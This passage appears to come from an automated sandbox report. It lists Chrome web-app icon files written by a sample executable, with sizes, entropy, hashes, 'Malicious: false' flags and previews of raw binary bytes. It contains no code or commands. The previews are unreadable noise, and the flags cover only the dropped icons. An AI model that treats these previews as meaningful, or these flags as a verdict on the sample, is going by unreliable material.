Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1892
Entropy (8bit):	7.88402170171821
Encrypted:	false
SSDEEP:	48:j/JwZKps5HpBLkg/Kf4yev25Bpov9xWc+0r0fTbfyD:jRmJBLF/Kev2Zov9xWc+q0fTLa
MD5:	E31691AFB5205664FEDC6D44B28664A0
SHA1:	FA2B6FA5DD13FC11CB3B6FA7462FAAB14BC73A00
SHA-256:	8FFF3992DE28102589F7931B4A35F221FA6475267126136BEC3A169710DA0285
SHA-512:	53065B8D278778E4F3BCDB6692110C9BD182A8B56B123A336FAFC939F95AC84E33C5A0AE49C8476E49DDE5A4409273193253AF5E415CBEBF0A992715CDD20AD1
Malicious:	false
Preview:	.PNG..F....@o....Z:.c..NyM..o>[.;(z..u.\>d..].$....}......%.(.i......fO...7..?..Y.o..7$w:.j..E......$..C..` M}..R.>F..Yn..q..1w...P.....f&.....^....dR....U....3...m....om.k..%.^.......w%.=}..b.r8.!.....<..zi.z.qz..,.I..u..C.4(...C...Z...SM...r..8h..Iz.i...G......z.......r..>..$)....0[...g...Z..P.~...2P....}.o..V.9..~.K..O.....e.X...]J~.fI........)],.H.~.$....!.e.A.d.8.RO2P!...h.......b.M..9...3.w.f.E ct.N...$S."..8Y..HK.)J]ni^....'o....p1.}..Eg,..$...."....r...-uS..m....J.c..%...p..........^4.47..t....N.o)C%BW.... ..Y?...J..j...}X........]..+.&.O.sJx..M4.....K{..xe.^.#.._m!.B..7.K..0..z.k=.zk....s.....:..,-s..$y...c".W.....)....(........{j./k..l.S.-...zm.F?M..d..\|.".H.}J.cj..AzBe79..3W............&.~..z...S.9.t[.'.X.;8._..I.....g.;_yO-ZlZ6.#...Z.d.2.S.aO.;...!...,.K.hI.n..\...St.rNRP6.p.....fZk...].PLS..+..<..e;...u...A.m.9.....}0.fG...~.?....z.#..,......B..RV..TN.t>...t....y....n6..6...A..C[5pu'@....(c.@ R&'....>..L..Z...FV.....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\48.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2715
Entropy (8bit):	7.915423992805746
Encrypted:	false
SSDEEP:	48:YRa8/BQfTJzv22fD9xexDpKT+dGmUEgv7id0CEVw4sX6ahxlR1kRlHHvjSPLnyD:SaBvnxeKTMGmUrvmfWQXb3k3HmDna
MD5:	54418EF3EE5244FA2798F49FE95C3382
SHA1:	57805E64AA2298A28EBCF7658547968B4EF0B588
SHA-256:	15B94DDC206431F5CF746923EE541C42933C650E0699F2A361811E6A961F98FC
SHA-512:	0BB7DFECF0680B334349F3228CD092A3CF379E455D2F666745D2970F1C867B78963253D9AA05C59A2C99A632DD32F0B319F3391E7C133C993D51DD3E608C06FF
Malicious:	false
Preview:	.PNG...'......Gg...lC....k....`.uA...;O.]N...dB.@..G..E...^NjMS....Y.QE"....sh...>q...........Jb...^...n..5.U.^\F&...2...I<.lt..(Z...v........ro..#.n...a.x.\V.l[yOrSAkJ..G..<.'.T..Q<.Ir..B..5&j....D.v..7,=iz;c0..C.....@.P..3n.Z.O".is...q.U....N..G...L.z.C.2Tq..d.o.HQ.x\|.{c%.5$".#.%.$S.......Ne.a[3M../...6.Kr....S...F..(...........6.-^."...<.x5..%f................$z...1b.B....s..?M..X'.kDQ...y.a......}.'v...vOY.z.......Z.I.L=......%.f.<.O.....n?.5V......=x...#~..$...!.. .%.@.P!.X8Q..'.. ..=...3..T..e.>^....%9Z.....5.yJ4;......J..........Yq..UQ..}.J..zy=..L...kR&VOp...PT...@..WZ@]...p......i.....cW".v".../>E..Xa....y..>.+.....8..R.v\|t.3.L...Z..S..qi...,W...Z..rD.O...J..,eN.V..e.b....`.pU.d>l....#T.K.G?.h'.. .J!.^9...P....?p.v.H..,...z.J]....;&...G.....&.x.....H.....V.'.....rq_P..i....8...y#}.....YY.n.i...4.M'W...i.+..I<e...Nyt.I.uf...7.Z(x..O.....\n.U.e.....vk.Y._....^Jp..pe.rM....o.{].O..2._y!7.z.#r./...Hh..=.....D...'@.../..u.+$

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\64.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3330
Entropy (8bit):	7.945087469008438
Encrypted:	false
SSDEEP:	48:AwKHLI/erkchZYyKBIGjcIVPTmYa+4bxswL6gJYHI0zPO+xaavTqtfFPX5yD:AwKHHKn7mLFslvO+xdvTStPpa
MD5:	81106ABA6C9E47C18929D97462F91816
SHA1:	242A8E2C8C3D4D3ED6D700CABD327CBF8A23A5C4
SHA-256:	3025A2E8D233984F69251FC41E08ADFF5616BDC91972266A9129E572F85FB1D2
SHA-512:	26604E25BBE57438FC5942985B6CFB3B25B9FAC36B3F6A6918D514A314A4B5E93B62C30CE2765D61C1A0B817C042A7E42823A4A62613F6ABA3C428C4BD6CE72C
Malicious:	false
Preview:	.PNG..&.>x4..}-..Hc,...'...k@.y~yn.OLt".zf_J..D.j2..y.hhUm.}xu..(.!.O......]..A....R!\|.r;u.i...W(.[........D=.9"Rw.s{.jm.Q.C....K2..u......n..bj.....)...gb.Tb.o<.&ur.P..@..3?>)G......xt..v../%.#.G~R..0_.m.N.......:%vdh.]...P$.4.+g.$...l1....._$..1@.....%.L.?....6.....].......H^..Sg.!Or+...9..=s.`..g...[.Q.@......y8.2.::..'V3P.E..;.7...w...6......?....s`.;....z4J...Q.m...5. %i.R.}.]..e)...7:.zr2...:...6.....,D..".;....6.N...k...M.........>.)...S.A.9+...<3..9.....).-1...k7...b2JB..(&H.I.Gi....\+....H.B...B^TE2?..p.D..".8....]..<}.<._...eF.fU3o.o.`R.>cfy..GQ...^......\.g.........$......I~.^2X........9... ....;.-.}~...}....M.R.\7v.5..L..#...6...{T..V F.Gg...5..xu.^..m.[."...m#.qa:..1%0...v..r..nR.....d......n..."y............s...+..".r.1&.JU%OuH.cZ.x-....l.7E..}VF......$....1!M.!......3.\|=...T......]...~.e/.3)W..}..,../T..E.2.>O.sX..\..<W...V.la......"..<:@M{....V.......>c..\|.....Jp:y2Y...s...e..A.!?.X......!p.X_$.{.l.(J.(.J......T....^.,...N.L

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\96.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	4188
Entropy (8bit):	7.952216919990602
Encrypted:	false
SSDEEP:	96:XgZajnaWr6YmpUvtAfiBfV2aGVQs0wtabzIPQIKmQfCpL5P1Kya:wZabao6FcqqxVxsgIPQI9QfCpld4
MD5:	C8A17B72584B6B47BBF82F0855AEDACB
SHA1:	16433485812ECD854BFFDC07FDBF8C048B8677BA
SHA-256:	CB62F24FA861EE5209BA62BE9EBC8705464BC2458AFE06C0DAE769E748C41A11
SHA-512:	49DFE407AFBDD709F52BD16F903F7057B66219508258BC0EC28DDDA6234771EA869C3D3DA86987B15386F9DA0FCCB69BE4CDA1EEEC234022259C1E549C97C41A
Malicious:	false
Preview:	.PNG._...tTc..=m/.....hU...:G..CKV..-WQi..)I!.'.p.M?.l..q.#.Te.\.w..!..fw.K.q..%..J.L.W?.0.....c ..^".Xf....!..8M....7..w.T..T..q.NawJ:..............\|.........$.l.........v.N.q.x..XL.y\_.s....YW."j.h.X...'....4.Vy.e.3.....%..=..Itb..<-.`.Qt'I.A\3.8..3W]/..~..F....C..-.R/.^..P....#:.f.....%o..W.j.C>X..jS.T=.gmT.)....3SV.i3.\|.~tt.8.[.\|...d.D&.U.6sb_.S................k...`.....LS%.D.....)....W.:b.X..._I..1.l..+..I.R...O.<\./.ju`.(l5^1....AF...E..i.U<.X....%.._f 3..`(5..%.bj..[9....../.e9&....v...@?.[...">..^..y...v#Z....f..+.u.`.....R6..K..^....X..<1jz..7R...rS.aR..I.Ou..<.....=...(...V1T.$.5_..A.'....T....r.j`J..N.'P..(..:.y.k....nA.."...0.).@...iJ.r.(....k.lSQ.%.;81....i.\|........9r.V....L.U.Bn{\|_?BH.J...h.6.. .uf.....).../...D...C'B.V...C-4.!6v,..O#..o...:V...~..>..2....4.[....x...\'&6...gG.../.,\~^.3AHF....S0...5/.K..E.G.>.!.tP<....`.k/.g... .b?.....".4..{e:...jL..a.G..l.,...+p%._.T....$.B`LlU.(f..>......h.. N...p....g...^j3x..........U@

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\128.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2267
Entropy (8bit):	7.901147253182809
Encrypted:	false
SSDEEP:	48:DyI1zEE7em4WZv2EOujMGnsB+8Aw/Yx1EQia9zA6OzbMhyD:DyI53y5qOCn1dxF90bMa
MD5:	FC47D08D29FEC4051EB86AC06E2E93A2
SHA1:	D87201ACB05CFBE66B771890D95ED4141FFC0A48
SHA-256:	C74FF6C18FFB4CCD180E8B70A6E677CA3B5CCAC309568786612EB282FE0B89A1
SHA-512:	E840B10B1E448F4016A85781815FBD62D346C3318F1F2EA7EBAB0EC0E89A385CC4749084AF471B1F1A7FE305E404830E992772EDA723825B829E6EBA783F5C0D
Malicious:	false
Preview:	.PNG.!..=u.\|a.1#\|^...ov....C?..L..T.6..r...'.mf..H.).T.M.R.4M.0Q..w.y..}...8...N..#.[.?"ck.PPHe.5H..d.\...\.t..k..d7..T...N....L.A`.{...i...../..`/d[..l..n..Z.66..W...P_...i..."c../vX..QJ3......Z....N.?h.c./.[....N.\1I.l_.1.]..4).S.uNL...u..%,...J..{..y...q..`.>4..8.<U<F..-w..M...Mkzc`...}..j......E.eW.4.....h51...&..v..@k..-..i..K.........@... q.%q.\..xdmQ.......,w.....8.e.7B.....4.?Iv..p.&.[.j.d9..5.....1x0{.rHk.x........G.R..b...%....f.J.E.$...oo...T....%.Q.{[...V.\|4.aH..E.%.c..4@-e...0R6.fRT...en...i...Z.1~......~;...g....7...&E..._.7.y/........pV=.e.\|......kP...R2.?.......V...s.fU....\.o.6..].......?.b.d...,....zZ..&..........?M=....?\..{.."7.#..U (.....yC....6z9..%..9...1..-.m...w.M .....p..`.._-.S."d.."M..Ud..YO.y+....!...v.........a..r.E...../.Q...].B.E[...:.M..w~...B.v.c.t...;Z/c..(8.........Q..."..S.h.......U..9...#.<,^..._F.dA....LRm..^.0.5e./,.....G...a....t .R.T.U/.W..Q....U......g...GO..5r..].X..0.oG`..U}...%

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\192.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1547
Entropy (8bit):	7.865960193148541
Encrypted:	false
SSDEEP:	24:wLn3ue6hLv5kc0n+UBqaknKSvbmQEMqH5guYlGVY+quOAcgb9yw1bD:wD3utjac0nVzkn5vq+qHdVY+bOA1EyD
MD5:	864EF86B79A9E53B3F638D742EB1E562
SHA1:	C98B3CF94EA0EA880C49CBFB5F0849CE15CB0C49
SHA-256:	809974FA910816AD1B446FA5132A632BDFC3D1EEAEB2FFE4B175C4BFE508C976
SHA-512:	87F4E65EB6A656B82B3A4134714BFA7022360E2A59BC05C67B5A1A142A33FCC07DB6993ADD119DFF330E78D665CB399E475B733C066328A6E6764FDA5EFD1BF3
Malicious:	false
Preview:	.PNG.~.R.#4..%..S..uF7@...........yN......G8\....i..c?.J......=._A.]..f..q..\i.S....zs.R.......@....\|.."FU.._.gQ~....ZY..`.?(......}..ls.m..y.k[.n.l..g..u.u)..<"...E)..B.Y.FQ..~.6\|B...<.'....NI..#..#..1_f.V.R.%D.{..\2S....U.#.R....`Uz.z.1~..(}...W..........,..J.-..8.<..(.Xr.....R...2.$...N.........k.-T..%yXT^.R.I.;B..U7o..].............n......D.~.m........I.&=.P>E...i..)..). .\.U...;....T0..q7._...`.y..-.-.g;....B.J...\|.-.s?....WAX<..eT....!.F.......^....S....a....L..H..b.........!....jaK......./...../ +.\...=...K>F.^.O..y.....Y..~p\.49...uK......g...._....uY..z.J.2.O.r.J....l....E.:v..6.Q....$.T$.c.....K...uLZ...S................_....%.e..L.\|..(.{.).......d^..&+.8p....t..J&.~...O1.Zu....G....tJ.u.......Jay...=....n.x..O..Y&..'...V......E.n%\|.f..N'FL.a.w....^....$s(.....3D.@+w.r..m.GW"N.J.....d.;.)..`...h^L...z?....b...@"..R..^....wHq#....N&?*...z....$.......{t.....-.~...A.......5nSP%....(#...5P..?.$V .Y..W#5........

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\256.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	4375
Entropy (8bit):	7.954720861040183
Encrypted:	false
SSDEEP:	96:1d2MhuLt/oEUIfxBCLv726Tvt0cGDl7OK4+b0bG1gua:jVhux/oEUkxILd7tTKJP4Ak/t
MD5:	D6F69BBB879DC4CD06283FB09A603256
SHA1:	217CF2BAA09E8BEBCE1B0406131AB26F4ED43841
SHA-256:	CB054D1BD3836EABB96AC2C764658222B75499C1AE18E3FD062816A0A3F0B250
SHA-512:	3E3C4AE685981500B2012C081D7BCDB23FE9C920F7049C857B0E351E866D69C29A27B85802BABA510498C3470B8DA094BF7A9697BE74AF3B061EBDC2B7F4F1E1
Malicious:	false
Preview:	.PNG.ub%x..X.^..D.~..Y.?.....$.r.Lu.e....0.Yb...Z.vPiq.=...D4]Su....z.w.....[.0.j.....#.I.`w<..UP.w.X.PJ.1u&.G`~,..+.4.?4.....@.V.%.G2J.K.z.%..H$...Rko..rS....,.................B..V.<a\......t...vzM........m....9...'.A....?......Gq.U..K.M.....\ ..9.Gk\|.Mzk.(....E..:....C..%.3...75.C3=c..s.......K.$F.z.=Y..m.9..}.j.b..h-2.>..!U...0...%.x.C..k%.~r.z....q....m.....I.VDW...u.U.((.;.a...../..C."}.A..w..P...L..~Y.O......Y.W...%{.D..Wk.yW.......w3!...=.ad....EO...@?V.~@.;..{...b.S.fX....e...^po..QA..QH..z(..r.5A..Y..@..H..bq_..Q.L5...R5...hy..k.....'...2?N..p.0.....pm....=.\aM8...t.jH.l;.U..P'....R.OR2l.j.n.........QtT(y.a.e.~.N.I\|...v.....=.>..... .u/]v..<..l.8t./.W<..Y!.Q.......1'...."?..V...z<F\.W.(..1.b.....]j..../..O\*..........V7..Z.E..e.....G..J>.z.iP..M....'4$F.y.....IU..R..y..\|.....X.....T..6.\|.R8......e._..w.e..\. ..vJi.....IM'...oR.tSos..$..E..m\|.a?C.I0yB+_.Jpz.w..@.V...V....y...........,.# FT3\|.V.k...[..yD.......'5.K.^...J{pp....R.J8.........F.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\32.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1224
Entropy (8bit):	7.791091694725763
Encrypted:	false
SSDEEP:	24:iu6Bn/yiunhHBXJvslz6bbWyQBFb5pVOlcwH0E156w1bD:i9Bn/KHBZ0x6bbWyQBDpVOlt56yD
MD5:	E67D4C98B0DF18D3D281839FB6CEB364
SHA1:	8327BB4166B36709F5C3D5DE6EC020EDC0856235
SHA-256:	FB4F129490171DD6C9E0D6EE36D14F4C733397C5A96CC4A00B6F0B16F7D603F2
SHA-512:	62C5415EAA8C71814B7E7BF369955EDA16DB582EFA83F07927C427C4D8D9B380E683B7B63E27046BF628005F9B92EB8EC62FEA512E2172FEDDCC911DCF04AC50
Malicious:	false
Preview:	.PNG..hf~}.%..W.@.h..5.G..&5_.K..#.J.>L.}.\..Z....._..LD.<6.~A.h$:j8c..a..;.k}.E.J-.7R.V!....TF..X4.@....<..N.n.q.'.,........&.........+[2Q.t..MY.K...C...Z.u.\7....p...,`.<......c.a...'5.l1v.,t..12..#D}..7..Y..a{.A..O.hy...Uv.........GaJ:..G.....~..I..~....y.[..1?.9.=v..T;.y.y..m.\.<lK)...X......F.....6......K....\|M.....t{..\.......U..zP~.....&..-.(.W......O...I.a 0r.#..{t.3Mh.}e.wMo....X.Y..1......[M<..."g_...r......\.R,..^R..WR..'..af.....$S.3...'.R.....Oq.......aB.8-FM...!.wk.W......E.".5..iW.....Y.>;....{,\|...+$.......^...._.1.'.`:.bp.4.9d+..<h.+}7...}..xW....5'1.:.H..6.}k.\=..~ykn..,J...W.....%F.V..... {R.m..I....>+...!.w...2M}.N........6.k.l.....~.W.X.l(T.......XObX.'x.i.;....c......-%..&.6&.. .4.s.7&.o.......[vA...<.s.M.....P..).....:.....V.i)...0.R......1a...>.y.w.Ww.>U5.....&.!...}.J..p \|-...s..s,=P)..~.....gn[.\...3M.X.0.7.&l..Sr...W..n\O.T....9..[..<P..8.....[....9$..v....~Xp.....`.nQw?6?7.....B...@9%]...&...4.\|..{.$v.v.T\|.5E....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\48.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1482
Entropy (8bit):	7.852150829417299
Encrypted:	false
SSDEEP:	24:Lhkd5d+4aGE8tDvLzra1zbBOxhEKKHEV42I89e3yfsllIrkys/PV+khKDqnnB9wd:LidrlaG1tzzm1vBChERK99eiUAri/PVw
MD5:	85743F1F37FA2C9AE586E12EC0D9B9D3
SHA1:	A62F5DC5B434F1CE9D2617B48177AEFB5DBA9DC5
SHA-256:	FBA1C64DD09C9EEE8DE106B79F4C300F94CCB652AC2BCC779CEA1657E52162BA
SHA-512:	E54C7D1E3FB22B66CB1D4759EDA4E0A1933C740AFAB4FF4738EF525A28C7EE54F59DC0797A9509071EB717A08524C6472DD84F942D414F587D6B03B17BBAAABE
Malicious:	false
Preview:	.PNG..Dz............}..$.4@.-.......l.\.....yw.%.9....@...E...2#.../V]t_...G... .E..&...$._.......F`..\.[.s.-}.<(.......KO...bWV.S=...a4g.B...k\|..}....:.Q.<....5.......eV.n._E4T..r.z..~..P..U.LyS3.ypQ2c.).q..C....N.'.k.h..@..l.E..j^.......U......9-y4.{..d...g...J._....;...G>.D]..\Al!.5..[.....i..S.....^RiHB.J.../.6.......y.0..oz..R.._-..L.BR..Sm.j....~.g.9........"x..+@...5..4#.qMO!.s.IY.5Cc.E.q.g.-B...s.._pr!..b............u.E..3Q.\...A..@...Yl..\E\.../.U....RJd.......q.=..-..M..R._.>..P.. .;.L...[5..\iL.~~_......B.`..N.r.....0.g....8.^p..b.O..K.L=.Cv.....6..!..2.$.S&..\|lk..:qLn..6.#._../.Rcyy..q...[S._P......<..u...[C......6J.zO.X.?....n ...6.....T.P..D...R.i....4A;.D...X....e.A./.(I...J.....7po.}v......(9...Lc..k.H .]...cd...7......Az..O..O)...U....r.B`Q....3.]..^.JW#7#..t.Q...~.jA.....cv....[.$x..C....U,o........P.J@.7.^..p..?....%.DDd.N..(.....[....h).q?'.+..G..yn....3._.].......@...JU.bO.2.7I..+..,..G.*T...A.:..d..\,.8...^.".iQ..B~..Q.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\64.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1634
Entropy (8bit):	7.875451328956903
Encrypted:	false
SSDEEP:	24:FRV9OuRp2AzInUZRwpt6Hz72c9r+pz+COjlOrl6RdY8SME/pHn5hXw1bD:FH5knwRwpt6Hn2q+pSJjlOrcYsEBHPyD
MD5:	E25D1325446FF87A033E956CC2C9530D
SHA1:	A2556C3623DFBFF29ABC10E7B15A37EAFF500CD7
SHA-256:	102627CB3313EF677929946BC5070ECCA63F5EE6E1C41CA9B09D914762D83F61
SHA-512:	ED0C469962978DE87C4891E2666CAAB27071A5CEA02D9CD83D4C3625788F46B5701875604A06DE94A6FA4D308DFCAFFD78D9E455E2556D5DC6B307B7C092A9A4
Malicious:	false
Preview:	.PNG.....6A-...!..%eE..R^v..kd?e....)...$......G}:......`.....%d1F.&q@EM..5..^7p...\..u.%Va9..l9.. ..Q../.M&6gA.d...:.8.7.{.l.vQ.c".xR.o.....XU0@..o$Y......o..k.....r.k..u.?q.H.\|2nNE2.....u.........f.91(..`.'.U{...v....d87._.e~em..q.. ..3........a...R+.......k.....&..4S.1b..3.8..n....M#v.)7j..$.......K.q..D.I...".W....~Z 2^...F...,q.d.\|....N.7o'I66...8Z..Ek3......9.......<..9.P!K=vp{b....s.]..&......7m....iQ.;;-C.pF.9_.r.......1[?...v.........i...!,.$....8m9...&...2E..[...BA"..QL.6.Y.2.C..e:4..."....QtE..t.m...S...]..W.u}..).$e.(OP=.(a.G.....f..w.....p.>&.V..ye.y5.0......_....q....r.kt.....ke..........]..E.a....W..NL.x.lrQ......7A.<g.....[2p?}...K.-N+G.'.x........lUi...2....7r[...~g2..G.hM_.7.3~..]._L..3.....<0....<^/.e..]..rD.....@...<\....[........B.......X..b+!?d..5.....i-..5........jt...(O[......9.....`.V..p......LvoR.E.0...$.i......?.H..5.G.\..f..g_@..f..)Ts[....8X...{...e-?.H.{^.c.,.B..).......n.8...\8.zp......V....jA.g.V..<H...SA../.X..-

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\96.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1839
Entropy (8bit):	7.890153387973663
Encrypted:	false
SSDEEP:	48:qbKWmWDJe8HI2KJJ+s963WLVh/ckLAXDyZQiXyD:8tg86u26GLVFLADMa
MD5:	B2370BCF8C20C5E0FF5EB1C4041B5C47
SHA1:	17FA223F5922A0FD98B6EBFF8F46E6434C69496B
SHA-256:	9E3A1B9341FE2A2AA78BBD561EA5D2921DCC62B58CA4FBF26A90FAAEFEB47F39
SHA-512:	FF601DFD25BE1C9C116826833480F1F8B52E363D579522F67FF24AD1CAACD154492CCAE1B53FD0B25A493CC0EA03B1B9DBEA1066FA8A894DD2BAA8F9C5A56A29
Malicious:	false
Preview:	.PNG...2....y.b...........C..P...M..Q.F .....h.......)......pU..NP...8......$.......7.5.....ot....$.G.vu.8...DA."U..^:I). .e%=.h.Z.....}.......p-,f..........,y0s....srAG.'{..A.C<~....TF.....B$a.}Y.<%e..$X..-d..x....Te...ilq[v..Es...>T.4..?.......K.....kR".L..G#@..,.'./.Wv.5.1.....%...~,B...(b....7...+o.>.G.z+C.>Q0n.g.y.w0!......M .5..u..R.....}..o......:.n..L...;:...{..>yC..8..(........qY_u.4.....R.6...!.S>.+3.8........@....._H+.<.[.?I.}.......o..:..CMDs........U...>..~...........@[)@.Y.lk....$.;.^.F..s?aAI........T}...g..j.2..F....o.5.=.W.\..E.X..!.P..sx..m&.k.psQJ2x%$...v.)...D.v;....,.....C..9>Y&8.$...~.....F...\......W...k.\x'C..8...v....LC..A.;G.@.l.Kx..e...&.B.8K...3#......ZU.. ..<.....g..B..lc...w.../\>....U....'.N......]...ncH.u.....9a..j]M...q.u3.Q^.]..?G...px....m......2....Z#.B..}f..Oc..._........=u9..P%...p...6;.].H.u.4..b.5/....\...=.L.^W.q\?;...j-.+....l0.b..ax....'.N.t.b.,.V...A.G.H......}.(...W..{.`.*..-....:..FL.D.T..`..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\128.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2342
Entropy (8bit):	7.904901771561432
Encrypted:	false
SSDEEP:	48:7R5gAfAvlxZCBKLmCtc9nYgpRTh2JlQvcXtrSFr6928m01IHcyLZGKid7ngnfInA:N5PAvlxZCBKLtS5p1h4Q0XQF4lmZblo2
MD5:	048A541CDFB5355D22FB547A702FE901
SHA1:	0A901513237CB153C241196EB970DC3A08A24FDE
SHA-256:	569913B6EA5A367A22C2A3939D83C7F261A4601DB500AE563F747378C9597325
SHA-512:	E5EC87BB4E2AE4EA6A9DA91E75F27142A9100C968A9707EB1B8BF13A0A8134ED342B1FB4A91AA83657613C2E402F756D3FC7372CB86F05A9889B5F0FF30FF004
Malicious:	false
Preview:	.PNG.....{.V..li..-W.u.+..f9..=.\|.:.....-u.+..x..c.E_.p...m.K.......2.....[...,...gl+...#(P.jk..jn.....4...]..P..Q.0..N. .U54:\.....X.].p$.7..<.........\|...hXk....R.t.Q)Q/..B.5.......Q....Y..J...SOq.2.:\...F....@...D..e..yn~./n....A#XJ...Q.p.ai....E}...W.O#..A.....K.......G...M......v.....l...3...).k..y..w..M{.@..y........cv..A.....k..,...Bv..WhW.c .U./.8......W.g......O;...8..Y........la......H..bQ...u..R0.i...>...w..9.."..E.D...:#g.....i..M.N.<IH..._B..?..9....D.Q.P.-c+l....i.\|..$......U....^.......C.....jgS.b5g..,.....#4\|.fcF...H!......\..V..di.>..2..KA.;/.LY...3T#5.]S].ni..{.9..\|#;......(........l..0..y.n.A..KIy6.T-Y..D.8...u'.a......c[-...>...O...)gHv..N.Z...\..p3.o7..3..f....z.%....h......r..L..3...........v.'C..v.%.d.......r..vf. H...A..=]..}..f...5r.k..).Z...!pK.E..N...~Z...]..,Y....=..I...vA_..w...K...*.:?.a..z...V......fy.....w4...X.....C....S}Y.#bC+i..4...x.IH....,.!....i.)..^...4..-.(.C+.2.:...IHL.x.w.H....D.T.A.:....j.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\192.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1569
Entropy (8bit):	7.893067123928184
Encrypted:	false
SSDEEP:	48:JJnHLnNX4ZAa+N0Gf9XaSUUmYbsQhPVoByD:JJnHLNXI/mZfcDsLPeBa
MD5:	CF03722FA2807A7CEBB4179EA0C26966
SHA1:	916F4E1554BD5AA6910355FE9C9054284799028F
SHA-256:	AA27374128FA34A7C34144C0D5FE1EA02A727400FF9F49517D6304ABC0B87F6F
SHA-512:	B373B553501D5C1966FDB7DB54BB85846B8839E7CB0F425621A4D8D9C100FF32E6DBB34F111E595C5FE7C93F6151FC0E4092BB17EFB40F54BD351B5BCB291D0D
Malicious:	false
Preview:	.PNG....f.}'.(...".@........t...T..d...@.?.(.F...D1..P.h..'....j~...._%.-...?.z..!....".....:.S.iS....Y....YO.nt...~.K...2..dT..x..V`......-..o[.Q(.V.........#x...M...v.>.U.......S6..#1.].k-.1Pq.F"..>.{.{.d....u.B-e.Q.....3;..mXz.....6p.+....go1r..j..[.=.e....\|...L...d{..Mr...4\|+.+7s..yvV...4..F.$.A(.A...a.~}....G...lK.0..Q.8..>o..T.....\n5.....z...z.E....P..{.BZN=...l.-....!.=...h.....26c..>.. C....o..q..)..V..Ye.G...;..;.Z.Fi...b.++..c....8%.m. .-..z..k...}...$.\|.r...vk..Z...9....0a.@..S..:.d\.....3#.t..0)>_......F....98..'.%......x...K.`~.i.T5T.?..........6...N#.!aB.?..1.{p..n..hw/O.......=...r...WU.....T..%.......I.....}N.~......F..Ds.jG....u...y.......2\..Rz.%...9.q...[S=.6.......J..P;..)Ez...F...E.Z%....,d...;_....F...#..[qPS-..4...CLb.f.+,o.5...x..".)<....QZl. ..D.........>..m`.=@.i!Q..}.....e.[.........9c;W=.+...2.#x}.....lk....xR.:....l....,1..%.'&C.~...*..n.z.;...{.}..mm.~..j\.....j.Q.S........u.......}.vE./......../.z9.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\256.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	4903
Entropy (8bit):	7.962440658343571
Encrypted:	false
SSDEEP:	96:dTzsoAA/QUYsTa9rtEja1O2RAOUKz4Hi7HeQ6Kvfrk3uNEQWAUD1csFa:t6A/HXFjCGKzh7Hj6Q495xs
MD5:	A38604D900DE6C49DD3C76777D2458F6
SHA1:	E77A7DAF89CAD6098318156A8574C136E4D3B193
SHA-256:	47B8647771719A2D05956D3E053A31E0790BCCD36577945AA64A1B751916618C
SHA-512:	B69464842185E04EF91CC9E44185DB1B54F3BC8FDFB3D445B10A7D61BE6B8B4C4DBF36C8A5811281BF2269516E10E4B6840708F38E684AF91071630CBE39138B
Malicious:	false
